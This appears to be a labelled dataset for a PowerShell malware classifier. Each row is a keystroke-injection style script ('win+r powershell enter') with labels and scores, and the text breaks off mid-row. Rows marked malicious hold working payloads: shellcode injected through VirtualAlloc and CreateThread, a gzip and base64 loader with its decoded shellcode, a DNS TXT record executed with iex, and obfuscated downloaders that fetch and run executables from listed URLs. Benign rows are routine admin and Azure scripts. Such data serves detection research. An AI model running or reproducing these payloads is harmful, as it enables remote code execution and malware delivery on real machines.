"win+r powershell enter Function GetHKUBinaryKeyValue ($RegKey, $KeyVal) { enter Set-Variable -Name HKUsers -Scope Local -Force enter Set-Variable -Name i -Scope Local -Force enter Set-Variable -Name Key -Scope Local -Force enter Set-Variable -Name SubKey -Scope Local -Force enter Set-Variable -Name SubKeys -Scope Local -Force enter Set-Variable -Name Temp -Scope Local -Force enter Set-Variable -Name Value -Scope Local -Force enter $Temp = New-PSDrive HKU Registry HKEY_USERS enter $HKUsers = Get-ChildItem HKU:\ -ErrorAction SilentlyContinue enter ForEach ($User in $HKUsers) { enter [string]$Key = $User.Name enter $Key = $Key -replace ""HKEY_USERS"", ""HKU:"" enter $Key = $Key+""\""+$RegKey enter If (Test-Path $Key) { enter $Subkeys = Get-ChildItem $Key -ErrorAction SilentlyContinue enter Foreach ($SubKey in $SubKeys) { enter Write-host $SubKey enter For ($i=0; $i -lt $Subkey.ValueCount; $i++) { enter [string]$Value = $Subkey.GetValue($Subkey.Property[$i]) enter Write-Host "" ""$Subkey.Property[$i]"" : ""$Value enter If ($Value -eq $KeyVal) { enter $DeleteKey = $true enter } enter } enter Write-Host enter } enter } enter } enter Remove-Variable -Name HKUsers -Scope Local -Force enter Remove-Variable -Name i -Scope Local -Force enter Remove-Variable -Name Key -Scope Local -Force enter Remove-Variable -Name SubKey -Scope Local -Force enter Remove-Variable -Name SubKeys -Scope Local -Force enter Remove-Variable -Name Temp -Scope Local -Force enter Remove-Variable -Name Value -Scope Local -Force enter } enter Function DeleteHKUBinaryKeyValue ($RegKey, $KeyVal) { enter Set-Variable -Name HKUsers -Scope Local -Force enter Set-Variable -Name i -Scope Local -Force enter Set-Variable -Name Key -Scope Local -Force enter Set-Variable -Name SubKey -Scope Local -Force enter Set-Variable -Name SubKeys -Scope Local -Force enter Set-Variable -Name Temp -Scope Local -Force enter Set-Variable -Name Value -Scope Local -Force enter $Temp = New-PSDrive HKU Registry HKEY_USERS enter $HKUsers = Get-ChildItem HKU:\ -ErrorAction SilentlyContinue enter ForEach ($User in $HKUsers) { enter [string]$Key = $User.Name enter $Key = $Key -replace ""HKEY_USERS"", ""HKU:"" enter $Key = $Key+""\""+$RegKey enter If (Test-Path $Key) { enter $Subkeys = Get-ChildItem $Key -ErrorAction SilentlyContinue enter Foreach ($SubKey in $SubKeys) { enter For ($i=0; $i -lt $Subkey.ValueCount; $i++) { enter [string]$Value = $Subkey.GetValue($Subkey.Property[$i]) enter If ($Value -eq $KeyVal) { enter $DeleteKey = $true enter } enter } enter If ($DeleteKey -eq $true) { enter [string]$SubKey1 = $SubKey enter $SubKey1 = $SubKey1 -replace ""HKEY_USERS"", ""HKU:"" enter If (Test-Path $SubKey1) { enter Remove-Item $SubKey1 -Force enter } enter $DeleteKey = $false enter } enter } enter } enter } enter Remove-Variable -Name HKUsers -Scope Local -Force enter Remove-Variable -Name i -Scope Local -Force enter Remove-Variable -Name Key -Scope Local -Force enter Remove-Variable -Name SubKey -Scope Local -Force enter Remove-Variable -Name SubKeys -Scope Local -Force enter Remove-Variable -Name Temp -Scope Local -Force enter Remove-Variable -Name Value -Scope Local -Force enter } enter cls enter DeleteHKUBinaryKeyValue ""Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Default Outlook Profile"" ""101 0 68 0 79 0 67 0 83 0 32 0 68 0 77 0 0 0"" enter",0,0,0.9995307,0.00046940142
"win+r powershell enter function Out-Minidump { [CmdletBinding()] Param ( [Parameter(Position = 0, M enter andatory = $True, ValueFromPipeline = $True)] [System.Diagnostics.Process] $Pr enter ocess, [Parameter(Position = 1)] [ValidateScript({ Test-Path $_ })] [String] enter enter",1,1,0.00012773932,0.9998722
"win+r enter powershell enter enter enter $U7o = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $U7o -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x0e,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$uua=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($uua.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$uua,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1998064e-05,0.999948
"win+r enter powershell enter enter enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAAGyLVgCA71W227bOBB9ToH+g1AYkIQ6lp24SRugwFKWb/EldhTLtzUCRqJkxpToSJRv3f77jmypcZFkt9uHFRKY1MyQh2fODOXGgS0oD6QHf+je3FfLk8tY+vb+3UkPh9iXlNwi7Eza0W1rIfJSjrVI1xcl01NPTsAnt6uUx7FuP/UupK+SMkXLpcF9TIPZ1VUlDkMSiMO8UCcCRRHxHxglkaJKf0nDOQnJ6c3DI7GF9E3K3RfqjD9glrptK9ieE+kUBU5ia3MbJzAL5pJRoch//imr09PSrFB9ijGLFNncRoL4BYcxWZW+q8mGd9slUeQOtUMecVcUhjQ4PysMggi7pAurrUiHiDl3IlmFs8BfSEQcBtLRqZJlDk6KDMNeyG3kOCGJIKbQDFZ8QZRcEDOWl/5QpimG2zgQ1CdgFyTkS5OEK2qTqNDAgcPILXFnSpess6P/apByHARePRGqecjPm2A73IkZOcTL6ku4R5lV4fkpu0DI9/fv3r9zM3UsMTtWBYxOpvsxAbhKj0d07/ZVKualDmyJBQ+3MM3dhTFRZ9I0ScZ0NpNyHlnvPuffXqCUeYPvZhdt/ObIXl2DYWpx6swgMM1WLr5/WNHE8LbsDOLSgBjbAPvUzpSlvEY/cRnZH7WQuXUBmyKnBuIYhBEPi4TKvDR9GVb1qfgRq8eUOSRENqQwAlSQXfVnMIfsKHIz6BAfuDrMZciCC3ommXeq4W22ezIHJ7nCcBTlpV4MBWXnJZNgRpy8hIKIpiYUC74fys9wOzET1MaRyJabqT+ITDes8CASYWxD/uDwd+aS2BSzhIu81KAO0bcm9bKN5VeZqGDGaODBSivIBLxJGDBFoooQMB4UoBZMIpr+khEfnPa1XWPYg0pOK2GvI+wRR36BMRP5QdEJHRkPRwghxybj0LQsGgroEQm1z3r6TRhHTeIAqBKSNCtKVjNTfSsSqee4bdYDep8oNCVpT0kogI5ayH0dR+SibIoQyFI+aDe0guAZNwPWsfUFLaE1LTU78D+g501uXDqt68eGFhqbuYuaUbPT6Bn9RqO8ujatsjCrTdHqNUWnOnp8NFHjdjAWkyZq3NHiYlzeLa/pzmwjZ7zRLnb6bl3UN7tHz3HHhut6l655W/pUo+1hpa8Xz3DbqMbtob7Wi+WoSteNPh30F9c18TC2GB64mjcqfcF00w4frRLv7JoI1efn9u7aterzjrMdN7Qvw/ICVRGqBFWrpvPWWA9RT7OwZ/F1y9ONoVdB+nBNyaQ/qOn9fk1Hg/rjk/FF8yB2hOf60Dqjk+Xodg7zGkBoacVy0yE7Pu4DSXWOsHcLPl7lzJ674GN8RPrHLo/O8ELnSAef2uQJcI2XtR4D+93gjCOLdUcYtSfbmqaVxr0yahTpsO6hZEns6X2MopWxM7SS5XBn+Kk7djVrxC41o3K3tF1N09YNo2VPSpvPN5ef20Nq+RwNNM36kGgDxJHDpEXM0UW3fpT0tzp7B4fRHDMQAzTrrCBrPKylPbfHaRKhKMc384KEAWFwjcFFlykbMcbt5C5ImjRcQ4fLYQa1OYDh+dmrI1X64ag+Xw7Zq6urCWCFIkk1XGiTwBPzfHFzXixCiy9uykU4868fscKXWyVbLZ/cEs9cHW3D9tuoSRnlnNb2Omb/C5FpFc/hx/kXIp/f/YP1l8gt5o8oeGH7+cV/4vp3WRhiKiDAhHbEyOF6fJWMVEBHnxSHVIE63PRJPvBuYnHahW+NvwFYJKy4YgoAAA==''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s); enter [decoded_payloads] enter [decoded:long_base64_literal] enter function bmWfO_E4Z7u { enter Param ($krMZLsRKkt, $lKeNmt1Sg) enter $zC4YuBcqP6 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter enter return $zC4YuBcqP6.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($zC4YuBcqP6.GetMethod('GetModuleHandle')).Invoke($null, @($krMZLsRKkt)))), $lKeNmt1Sg)) enter } enter enter function pal { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $gewz8, enter [Parameter(Position = 1)] [Type] $xzsxmIXcvJ = [Void] enter ) enter enter $u_bvi = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $u_bvi.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $gewz8).SetImplementationFlags('Runtime, Managed') enter $u_bvi.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $xzsxmIXcvJ, $gewz8).SetImplementationFlags('Runtime, Managed') enter enter return $u_bvi.CreateType() enter } enter enter [Byte[]]$ocSGni_ = [System.Convert]::FromBase64String(""/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagVowKgBDWgCABWwieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0iWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCTpcf///wHDKcZ1x8O78LWiVmoAU//V"") enter enter $aeKeSX6NG = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bmWfO_E4Z7u kernel32.dll VirtualAlloc), (pal @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $ocSGni_.Length,0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($ocSGni_, 0, $aeKeSX6NG, $ocSGni_.length) enter enter $dKyJul = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bmWfO_E4Z7u kernel32.dll CreateThread), (pal @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$aeKeSX6NG,[IntPtr]::Zero,0,[IntPtr]::Zero) enter [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bmWfO_E4Z7u kernel32.dll WaitForSingleObject), (pal @([IntPtr], [Int32]))).Invoke($dKyJul,0xffffffff) | Out-Null enter enter",1,1,5.5881243e-05,0.9999441
win+r powershell enter if(''+(nslookup -q=txt p.s.w2.ns.rankingplac.pl) -match '@(.*)@'){iex $matches[1 enter ]} enter enter,1,1,6.6312234e-05,0.9999337
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_kraupq32"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3948876e-05
"win+r enter powershell enter enter enter PowersheLL -E JABUAE8ARgBFAEkAcABoAGEAPQAnAEkAWABHAFAAUAByAG4AcgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIASQB0AHkAYABQAGAAUgBvAGAAVABgAG8AYwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABTAFoAVwBVAEUAZAB4AGwAIAA9ACAAJwA3ADMAOQAnADsAJABZAFEAUABOAEQAeQBkAGoAPQAnAFUATwBLAEwAUwBzAHoAaAAnADsAJABTAE0ASgBNAFcAegBwAHMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAWgBXAFUARQBkAHgAbAArACcALgBlAHgAZQAnADsAJABOAEUAVQBGAFYAZgBoAHYAPQAnAEMASgBGAEgATQBrAGIAbgAnADsAJABHAEsASABJAE4AagBqAGcAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAYwBsAEkAZQBuAFQAOwAkAEsATQBQAEQAVwB0AHcAaQA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AbwB2AGUAcgB2AGkAcwBlAHUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBqAGwAMQA3ADMALwAqAGgAdAB0AHAAOgAvAC8AYgBvAHMAdABvAG4AcwBlAGEAZgBhAHIAbQBzAC4AYwBvAG0ALwBpAG0AYQBnAGUAcwAvADMAMAB2AC8AKgBoAHQAdABwADoALwAvAGkAbgBzAHQAYQBtAGEAbAAuAGMAbwBtAC8AZQBhAHoAeQBsAG8AdAAuAGMAbwBtAC8AUwBjAFYASQB3AGYAUwB4AFIALwAqAGgAdAB0AHAAOgAvAC8AawBvAG0AcABrAG8AbgAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAE8AQQBuAEYANgA4ADIALwAqAGgAdAB0AHAAOgAvAC8AbgBpAHgAbwBpAGQALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AbwBIAHkANwA1ADgALwAnAC4AIgBzAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEQAQgBCAEYARQBmAHIAZgA9ACcAWABMAE4AWABQAGoAeABkACcAOwBmAG8AcgBlAGEAYwBoACgAJABQAFQATwBKAEUAcwBzAHcAIABpAG4AIAAkAEsATQBQAEQAVwB0AHcAaQApAHsAdAByAHkAewAkAEcASwBIAEkATgBqAGoAZwAuACIAZABPAFcAbgBsAE8AYQBEAGAARgBgAEkATABlACIAKAAkAFAAVABPAEoARQBzAHMAdwAsACAAJABTAE0ASgBNAFcAegBwAHMAKQA7ACQAQgBTAFUASgBHAGkAagBhAD0AJwBLAE4AQgBBAEsAZgBpAHcAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABTAE0ASgBNAFcAegBwAHMAKQAuACIATABgAEUAbgBHAHQAaAAiACAALQBnAGUAIAAyADQAOQA0ADQAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAcgBFAGAAQQBgAFQARQAiACgAJABTAE0ASgBNAFcAegBwAHMAKQA7ACQASQBaAE8ATwBRAGEAagBrAD0AJwBGAFUAVgBLAEoAdgB6AHUAJwA7AGIAcgBlAGEAawA7ACQAVABVAFQAVgBEAGYAZwBzAD0AJwBYAEEASABQAFQAZABpAHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBFAEUASgBYAHkAaQB2AD0AJwBPAEQAUwBFAEsAawBzAGMAJwA= enter [decoded_payloads] enter [decoded:powershell_encoded_command] enter $TOFEIpha='IXGPPrnr';[Net.ServicePointManager]::""SECurIty`P`Ro`T`ocoL"" = 'tls12, tls11, tls';$SZWUEdxl = '739';$YQPNDydj='UOKLSszh';$SMJMWzps=$env:userprofile+'\'+$SZWUEdxl+'.exe';$NEUFVfhv='CJFHMkbn';$GKHINjjg=.('new-'+'obj'+'ect') nET.wEBclIenT;$KMPDWtwi='http://www.moverviseu.com/wp-content/jl173/*http://bostonseafarms.com/images/30v/*http://instamal.com/eazylot.com/ScVIwfSxR/*http://kompkon.com/cgi-bin/OAnF682/*http://nixoid.com/assets/oHy758/'.""s`PLiT""([char]42);$DBBFEfrf='XLNXPjxd';foreach($PTOJEssw in $KMPDWtwi){try{$GKHINjjg.""dOWnlOaD`F`ILe""($PTOJEssw, $SMJMWzps);$BSUJGija='KNBAKfiw';If ((&('Get-I'+'t'+'em') $SMJMWzps).""L`EnGth"" -ge 24944) {([wmiclass]'win32_Process').""CrE`A`TE""($SMJMWzps);$IZOOQajk='FUVKJvzu';break;$TUTVDfgs='XAHPTdiv'}}catch{}}$MEEJXyiv='ODSEKksc' enter enter",1,1,5.668887e-05,0.99994326
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_pscl4zbp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter",0,0,0.999966,3.3939392e-05
"win+r powershell enter Function Get-AzureRmVmPublicIP { [cmdletbinding()] param( [string[]]$Resour enter ceGroupName, [string[]]$VMName, [switch]$IncludeObjects, [switch]$VMStatus ) enter foreach($ResourceGroup in $ResourceGroupName) { enter enter",1,1,0.0027546291,0.99724543
"win+r enter powershell enter enter enter New-AzResourceGroup -Name appDefinitionGroup -Location westcentralus enter $groupid=(Get-AzADGroup -SearchString appManagers).Id enter $roleid=(Get-AzRoleDefinition -Name Owner).Id enter New-AzManagedApplicationDefinition ` enter -Name ""ManagedStorage"" ` enter -Location ""westcentralus"" ` enter -ResourceGroupName appDefinitionGroup ` enter -LockLevel ReadOnly ` enter -DisplayName ""Managed Storage Account"" ` enter -Description ""Managed Az.Storage Account"" ` enter -Authorization ""${groupid}:$roleid"" ` enter -PackageFileUri ""https://raw.githubusercontent.com/Azure/azure-managedapp-samples/master/samples/201-managed-storage-account/managedstorage.zip"" enter enter",0,0,0.9997249,0.0002750527
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('a.pomf.cat/msicxq.exe',""$env:TEM enter P\best.exe"");Start-Process (""$env:TEMP\best.exe"") enter enter",1,1,5.8234036e-05,0.9999417
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_aakeagk5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_users.csv"") -NoTypeInformation enter",0,0,0.9999666,3.3372882e-05
"win+r enter powershell enter enter enter function Take-Ownership { enter param ( enter [String]$Folder, enter [switch]$Everyone, enter [switch]$ThisItemOnly, enter [switch]$File, enter [switch]$Revoke enter ) enter enter if ( !$file -and !($Folder.EndsWith('\')) ) { enter $Folder += '\' enter } enter enter if ($Folder -match ' ') { enter $Folder = '""' + $Folder + '""' enter } enter enter if ($Everyone) { enter if ($Revoke) { enter if (!$ThisItemOnly) { enter SubInACL.exe /SUBDIRECTORIES $Folder /REVOKE=Everyone enter } enter SubInACL.exe /FILE $Folder /REVOKE=Everyone enter } else { enter SubInACL.exe /FILE $Folder /GRANT=Everyone=F enter if (!$ThisItemOnly) { enter SubInACL.exe /SUBDIRECTORIES $Folder /GRANT=Everyone=F enter } enter } enter } else { enter if ($Revoke) { enter if (!$ThisItemOnly) { enter SubInACL.exe /SUBDIRECTORIES $Folder /REVOKE=Administrators enter } enter SubInACL.exe /FILE $Folder /REVOKE=Administrators enter } else { enter SubInACL.exe /FILE $Folder /GRANT=Administrators=F enter if (!$ThisItemOnly) { enter SubInACL.exe /SUBDIRECTORIES $Folder /GRANT=Administrators=F enter } enter } enter } enter } enter enter",0,0,0.9777826,0.022217415
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_0mq1clr1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_handles_40.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4373883e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_aw7yuq2g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.txt"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.4089288e-05
"win+r powershell enter $restartTesthookName = ""TestStopComputer"" enter $restartTesthookResultName = ""TestStopComputerResults"" enter $DefaultResultValue = 0 enter try enter { enter $PSDefaultParameterValues[""it:skip""] = ! $IsWindows enter Enable-Testhook -testhookName $restartTesthookName enter Describe ""Restart-Computer"" -Tag Feature,RequireAdminOnWindows { enter BeforeEach { enter if ( ! (Test-TesthookIsSet -testhookName $restartTesthookName) ) { enter throw ""Testhook '${restartTesthookName}' is not set"" enter } enter } enter AfterEach { enter Set-TesthookResult -testhookName $restartTesthookResultName -value $defaultResultValue enter } enter It ""Should restart the local computer"" { enter Set-TesthookResult -testhookName $restartTesthookResultName -value $defaultResultValue enter Restart-Computer -ErrorAction Stop| Should -BeNullOrEmpty enter } enter It ""Should support -computer parameter"" { enter Set-TesthookResult -testhookName $restartTesthookResultName -value $defaultResultValue enter $computerNames = ""localhost"",""${env:COMPUTERNAME}"" enter Restart-Computer -Computer $computerNames -ErrorAction Stop| Should -BeNullOrEmpty enter } enter It ""Should support WsmanAuthentication types"" { enter $authChoices = ""Default"",""Basic"",""Negotiate"",""CredSSP"",""Digest"",""Kerberos"" enter foreach ( $auth in $authChoices ) { enter Restart-Computer -WsmanAuthentication $auth | Should -BeNullOrEmpty enter } enter } enter It ""Should wait for a remote system"" { enter try enter { enter Enable-Testhook -testhookname TestWaitStopComputer enter $timeout = 3 enter try enter { enter $pPref = $ProgressPreference enter $ProgressPreference=""SilentlyContinue"" enter $duration = Measure-Command { enter Restart-Computer -computer localhost -Wait -Timeout $timeout -ErrorAction Stop | Should -BeNullOrEmpty enter } enter } enter finally enter { enter $ProgressPreference=$pPref enter } enter $duration.TotalSeconds | Should -BeGreaterThan $timeout enter } enter finally enter { enter Disable-Testhook -testhookname TestWaitStopComputer enter } enter } enter Context ""Restart-Computer Error Conditions"" { enter It ""Should return the proper error when it occurs"" { enter Set-TesthookResult -testhookName $restartTesthookResultName -value 0x300000 enter Restart-Computer -ErrorVariable RestartError 2> $null enter $RestartError.Exception.Message | Should -Match 0x300000 enter } enter It ""Should produce an error when 'Delay' is specified"" { enter { Restart-Computer -Delay 30 } | Should -Throw -ErrorId ""RestartComputerInvalidParameter,Microsoft.PowerShell.Commands.RestartComputerCommand"" enter } enter It ""Should not support timeout on localhost"" { enter Set-TesthookResult -testhookName $restartTesthookResultName -value $defaultResultValue enter { Restart-Computer -timeout 3 -ErrorAction Stop } | Should -Throw -ErrorId ""RestartComputerInvalidParameter,Microsoft.PowerShell.Commands.RestartComputerCommand"" enter } enter It ""Should not support timeout on localhost"" { enter Set-TesthookResult -testhookName $restartTesthookResultName -value $defaultResultValue enter { Restart-Computer -timeout 3 -ErrorAction Stop } | Should -Throw -ErrorId ""RestartComputerInvalidParameter,Microsoft.PowerShell.Commands.RestartComputerCommand"" enter } enter } enter } enter } enter finally enter { enter $PSDefaultParameterValues.Remove(""it:skip"") enter Disable-Testhook -testhookName $restartTesthookName enter Set-TesthookResult -testhookName $restartTesthookResultName -value 0 enter } enter",0,0,0.99994767,5.2374096e-05
"win+r enter powershell enter enter enter param ( enter [string]$tfsServer = ""TFSServerName"", enter [string]$tfsLocation = ""$/TFS/Project"", enter [string]$localFolder =""c:\scripts"", enter [string]$file, enter [string]$checkInComments = ""Checked in from PowerShell"" enter ) enter $clientDll = ""C:\Program Files (x86)\Microsoft Visual Studio 9.0\Common7\IDE\PrivateAssemblies\Microsoft.TeamFoundation.Client.dll"" enter $versionControlClientDll = ""C:\Program Files (x86)\Microsoft Visual Studio 9.0\Common7\IDE\PrivateAssemblies\Microsoft.TeamFoundation.VersionControl.Client.dll"" enter [Reflection.Assembly]::LoadFrom($clientDll) enter [Reflection.Assembly]::LoadFrom($versionControlClientDll) enter [Reflection.Assembly]::LoadFrom($versionControlCommonDll) enter $tfs = [Microsoft.TeamFoundation.Client.TeamFoundationServerFactory]::GetServer($tfsServer) enter $versionControlType = [Microsoft.TeamFoundation.VersionControl.Client.VersionControlServer] enter $versionControlServer = $tfs.GetService($versionControlType) enter $workspace = $versionControlServer.CreateWorkspace(""PowerShell 